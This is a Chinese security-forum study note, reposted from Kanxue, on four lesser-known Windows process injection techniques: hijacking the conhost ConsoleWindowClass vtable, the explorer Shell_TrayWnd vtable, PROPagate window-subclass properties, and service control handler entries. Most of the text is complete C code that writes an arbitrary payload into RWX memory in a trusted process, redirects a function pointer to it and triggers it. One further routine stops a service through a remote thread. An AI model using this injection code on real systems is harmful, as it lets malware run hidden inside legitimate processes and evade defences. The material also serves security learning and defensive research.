查看原文
其他

Windows不太常见的进程注入学习小记(一)

不懂就不懂 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:不懂就不懂





进程注入


以下是自学习相关进程注入时写的笔记。


HOOK Conhost.exe中保存的ConsoleWindowClass窗口类的虚表


控制台应用程序窗口所属于的窗口类为ConsoleWindowClass,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。
 
以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。



这个是Conhost中保存的控制台窗口类行为的虚表原型:

typedef struct _vftable_t { ULONG_PTR EnableBothScrollBars; ULONG_PTR UpdateScrollBar; ULONG_PTR IsInFullscreen; ULONG_PTR SetIsFullscreen; ULONG_PTR SetViewportOrigin; ULONG_PTR SetWindowHasMoved; ULONG_PTR CaptureMouse; ULONG_PTR ReleaseMouse; ULONG_PTR GetWindowHandle; ULONG_PTR SetOwner; ULONG_PTR GetCursorPosition; ULONG_PTR GetClientRectangle; ULONG_PTR MapPoints; ULONG_PTR ConvertScreenToClient; ULONG_PTR SendNotifyBeep; ULONG_PTR PostUpdateScrollBars; ULONG_PTR PostUpdateTitleWithCopy; ULONG_PTR PostUpdateWindowSize; ULONG_PTR UpdateWindowSize; ULONG_PTR UpdateWindowText; ULONG_PTR HorizontalScroll; ULONG_PTR VerticalScroll; ULONG_PTR SignalUia; ULONG_PTR UiaSetTextAreaFocus; ULONG_PTR GetWindowRect;} ConsoleWindow;

通过GetWindowLongPtr(hwnd, GWLP_USERDATA);可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx即可将对应的虚函数做更改。
 
整体代码如下:

VOID conhostInject(LPVOID payload, DWORD payloadSize) { HWND hwnd; LONG_PTR udptr; DWORD pid, ppid; SIZE_T wr; HANDLE hp; ConsoleWindow cw; LPVOID cs, ds; ULONG_PTR vTable;
// 1. 找到具有ConsoleWindowClass窗口类的窗口句柄 hwnd = FindWindow(L"ConsoleWindowClass", NULL); //通过窗口句柄找到对应进程的PID GetWindowThreadProcessId(hwnd, &ppid);
// 2. 通过对比进程名和父进程句柄找到Conhost进程的pid pid = conhostId(ppid);
if (pid==0) { printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid); return; } // 3.打开conhost进程 hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址 udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA); ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. 获取原本的虚表内容 ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. 在conhost进程中申请堆空间保存自定义的虚表内容。 ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。 cw.GetWindowHandle = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. 将虚表指针hook WriteProcessMemory(hp, (LPVOID)udptr, &ds, sizeof(ULONG_PTR), &wr);
// 10. 发消息测试 SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. 更改为原来的虚表指针 WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), &wr);
// 12. 释放内存。 VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);}

HOOK Shell_TrayWnd窗口类的虚表


可以看到explorer.exe之中具有窗口类。





和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。
 
原型:

typedef struct _ctray_vtable { ULONG_PTR vTable; // change to remote memory address ULONG_PTR AddRef; // add reference ULONG_PTR Release; // release procedure ULONG_PTR WndProc; // window procedure (change to payload)} CTray;
typedef struct _ctray_obj { CTray *vtbl;} CTrayObj;

代码:

VOID extraBytes(LPVOID payload, DWORD payloadSize){ LPVOID cs, ds; CTray ct; ULONG_PTR ctp; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr;
hw = FindWindow(L"Shell_TrayWnd", NULL);
GetWindowThreadProcessId(hw, &pid);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
ctp = GetWindowLongPtr(hw, 0);
ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);

PostMessage(hw, WM_CLOSE, 0, 0);

SetWindowLongPtr(hw, 0, ctp);

VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);}

与窗口子类化有关注入——PROPagate


当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo或者CC32SubclassInfo的属性之中;命名名称是根据comctl32.dll的版本来决定的。

版本6.x对应的名称是UxSubclassInfo;

版本5.x对应的名称是CC32SubclassInfo。

当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo或者CC32SubclassInfo属性值中。

当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。

(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)
 
这个属性的结构主要如下:

typedef struct _SUBCLASS_CALL { SUBCLASSPROC pfnSubclass; // subclass procedure WPARAM uIdSubclass; // unique subclass identifier DWORD_PTR dwRefData; // optional ref data} SUBCLASS_CALL, PSUBCLASS_CALL;
typedef struct _SUBCLASS_FRAME { UINT uCallIndex; // index of next callback to call UINT uDeepestCall; // deepest uCallIndex on stack struct _SUBCLASS_FRAME *pFramePrev; // previous subclass frame pointer struct _SUBCLASS_HEADER *pHeader; // header associated with this frame} SUBCLASS_FRAME, PSUBCLASS_FRAME;
typedef struct _SUBCLASS_HEADER { UINT uRefs; // subclass count UINT uAlloc; // allocated subclass call nodes UINT uCleanup; // index of call node to clean up DWORD dwThreadId; // thread id of window we are hooking SUBCLASS_FRAME *pFrameCur; // current subclass frame pointer SUBCLASS_CALL CallArray[1]; // base of packed call node array} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

32位系统下可以看到在偏移0x18的处保存的窗口过程。
 
只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可。
 
在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。
 

VOID propagate(LPVOID payload, DWORD payloadSize) { HANDLE hp, p; DWORD id; HWND pwh, cwh; SUBCLASS_HEADER sh; LPVOID psh, pfnSubclass; SIZE_T rd,wr;
// 1. Obtain the parent window handle pwh = FindWindow(L"Progman", NULL);
// 2. Obtain the child window handle cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);
// 3. Obtain the handle of subclass header p = GetProp(cwh, L"UxSubclassInfo");
// GetProcessHandleFromHwnd // 4. Obtain the process id for the explorer.exe GetWindowThreadProcessId(cwh, &id);
// 5. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6. Read the contents of current subclass header ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);
// 7. Allocate RW memory for a new subclass header psh = VirtualAllocEx(hp, NULL, sizeof(sh), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// 8. Allocate RWX memory for the payload pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 9. Write the payload to memory WriteProcessMemory(hp, pfnSubclass, payload, payloadSize, &wr);
// 10. Set the pfnSubclass field to payload address, and write // back to process in new area of memory sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass; WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
// 11. update the subclass procedure with SetProp SetProp(cwh, L"UxSubclassInfo", psh);
// 12. Trigger the payload via a windows message PostMessage(cwh, WM_CLOSE, 0, 0);
// 13. Restore original subclass header SetProp(cwh, L"UxSubclassInfo", p);
// 14. free memory and close handles VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);}

通过HOOK服务的IDE来实现进程注入


每个Windows服务都有一个“控制处理程序”以从操作系统接收控制代码。根据服务愿意接受的内容,可以查询,启动,停止,暂停或恢复服务的更常见控制代码。指向控制处理程序的指针存储在堆上的数据结构中,Microsoft将其称为“内部调度项”(IDE)。

(PS:以上是谷歌翻译的结果)
 
Win 7的IDE结构:

typedef struct _INTERNAL_DISPATCH_ENTRY { LPWSTR ServiceName; LPWSTR ServiceRealName; LPSERVICE_MAIN_FUNCTION ServiceStartRoutine; LPHANDLER_FUNCTION_EX ControlHandler; HANDLE StatusHandle; DWORD ServiceFlags; DWORD Tag; HANDLE MainThreadHandle; DWORD dwReserved;} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

Win10的IDE结构:

typedef struct _INTERNAL_DISPATCH_ENTRY { LPWSTR ServiceName; LPWSTR ServiceRealName; LPWSTR ServiceName2; // Windows 10 LPSERVICE_MAIN_FUNCTION ServiceStartRoutine; LPHANDLER_FUNCTION_EX ControlHandler; HANDLE StatusHandle; DWORD64 ServiceFlags; // 64-bit on windows 10 DWORD64 Tag; HANDLE MainThreadHandle; DWORD64 dwReserved; DWORD64 dwReserved2;} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

通过HOOK IDE的ControlHandler字段,可以实现进程注入。
 
具体方法为:通过服务名得到服务的进程相关信息;在服务的进程之中通过搜索内存比对IDE的ServiceRealName和传入的服务名参数来找到IDE;将IDE中的ServiceFlags修改为SERVICE_CONTROL_INTERROGATE;然后HOOK IDE中的ControlHandler,通过SCM向其发送SERVICE_CONTROL_INTERROGATE的控制码,触发被HOOK的函数;然后恢复。
 
具体代码如下:

VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) { SIZE_T wr; SC_HANDLE hm, hs; INTERNAL_DISPATCH_ENTRY ide; HANDLE hp; LPVOID cs; SERVICE_STATUS ss;
wprintf(L"[*] Attempting to inject PIC into \"%s\"...\n", se->process);
// open the service control manager hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (hm != NULL) { // open target service hs = OpenService(hm, se->service, SERVICE_INTERROGATE); if (hs != NULL) { // open target process hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid); if (hp != NULL) { // allocate memory for payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (cs) { // write payload to process space WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // create backup of IDE memcpy(&ide, &se->ide, sizeof(ide)); // point ControlHandler to payload ide.ControlHandler = cs; // change flags ide.ServiceFlags = SERVICE_CONTROL_INTERROGATE; // update IDE in remote process WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr); // trigger payload wprintf(L"[*] Set a breakpoint on %p\n", cs); getchar(); ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss); xstrerror(L"ControlService"); // free payload from memory VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE); // restore original IDE WriteProcessMemory(hp, se->ide_addr, &se->ide, sizeof(ide), &wr); } else xstrerror(L"VirtualAllocEx"); CloseHandle(hp); // close process } else xstrerror(L"OpenProcess"); CloseServiceHandle(hs); // close service } else xstrerror(L"OpenService"); CloseServiceHandle(hm); // close manager }}

其也可以通过远程创建线程的方式关闭服务。

BOOL StopService(PSERVICE_ENTRY se){ DWORD evt; HANDLE hThread, hProcess; RtlCreateUserThread_t pRtlCreateUserThread; BOOL bResult=FALSE;
wprintf(L"[*] Attempting to stop service...\n");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid);
if(hProcess == NULL) { xstrerror(L"StopService::OpenProcess"); return 0; } // resolve address of RtlCreateUserThread // CreateRemoteThread won't work here.. pRtlCreateUserThread= (RtlCreateUserThread_t)GetProcAddress( LoadLibrary(L"ntdll"), "RtlCreateUserThread");
// got it? if (pRtlCreateUserThread!=NULL) { // execute the ControlHandler in remote process space pRtlCreateUserThread(hProcess, NULL, FALSE, 0, NULL, NULL, se->ide.ControlHandler, (LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL);
bResult = (hThread != NULL);
// if thread created if (bResult) { // wait 5 seconds for termination evt = WaitForSingleObject(hThread, 5*1000); bResult = (evt == WAIT_OBJECT_0);
CloseHandle(hThread); } wprintf(L"[*] Service %s stopped.\n", bResult ? L"successfully" : L"unsuccessfully"); } CloseHandle(hProcess); return bResult;}




参考文章


Windows Process Injection: ConsoleWindowClass
Windows Process Injection: Extra Window Bytes
Windows Process Injection: PROPagate
Windows Process Injection: Service Control Handler




- End -



看雪ID:不懂就不懂

https://bbs.pediy.com/user-795949.htm

  *本文由看雪论坛 不懂就不懂 原创,转载请注明来自看雪社区。



推荐文章++++

* HellsingAPT分享

* 萌新逆向学习笔记——远程线程注入DLL

* 追踪活动中相遇CobaltStrike的故事

* PWN:unsafe unlink

* 断其粮道——内核级拒绝服务攻击







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存